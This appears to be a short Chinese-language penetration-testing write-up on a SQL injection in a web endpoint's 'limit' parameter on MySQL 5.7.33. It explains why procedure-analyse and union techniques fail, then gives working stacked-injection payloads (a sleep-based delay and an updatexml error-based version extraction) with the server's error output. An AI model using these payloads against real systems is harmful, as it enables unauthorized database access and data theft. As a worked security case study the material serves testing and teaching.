今天遇到个案例,在/queryxxxx?page=1&limit=10'&DONATOR_ID=145539中limit参数存在注入点。
通过单引号爆处SQL语句,如下:
1
2
3
4
5
6
|
java.sql.SQLException: sql injection violation, syntax error: unclosed str :
SELECT
xxxx
FROM `mis_jkxx` WHERE DONATOR_ID = ? AND CHECK_FLAG != 1
ORDER BY CHECK_TIME desc
limit 0 ,10'
|
通过其他注入点得知数据库版本为 MySQL 5.7.33
mysql 5.7之后版本,limit注入不再支持procedure函数,利用该函数的报错注入不再适用。
即:
1
|
select * from test limit 0,1 procedure analyse(extractvalue(1, concat(0x1, user())),1);
|
不可用。
该语句存在Order by,也不适用 union select 联合查询,即:
1
|
select * from test limit 0,1 union select version();
|
最后解决办法:
堆叠注入
由于LIMIT 语句必须是 SELECT 语句的最后一条子句,因此可以尝试用分号(;)直接闭合前一句select语句,在后面插入恶意语句,达到SQL注入的效果。
延时-举例:
1
|
queryxxx?page=1&limit=10;select+sleep(5)--+&DONATOR_ID=145539
|
闭合limit后,成功触发
1
2
3
4
|
SELECT xxx FROM
`mis_jkxx` WHERE DONATOR_ID = ? AND CHECK_FLAG != 1
ORDER BY CHECK_TIME desc
limit 0 ,10; select+sleep(5)--\r\n
|
举例-报错:
1
|
queryxxx?page=1&limit=10;select+(updatexml(1,concat(0x7e,(select+version()),0x7e),1))
|
闭合limit后,成功触发
1
2
3
4
|
SELECT xxx FROM
`mis_jkxx` WHERE DONATOR_ID = ? AND CHECK_FLAG != 1
ORDER BY CHECK_TIME desc
limit 0 ,10; select+(updatexml(1,concat(0x7e,(select+version()),0x7e),1))\r\n
|
报错返回
1
|
Cause: java.sql.SQLException: XPATH syntax error: '~5.7.33~'\n; uncategorized SQLException for SQL []; SQL state [HY000]; error code [1105]; XPATH syntax error: '~5.7.33~'; nested exception is java.sql.SQLException: XPATH syntax error: '~5.7.33~'",
|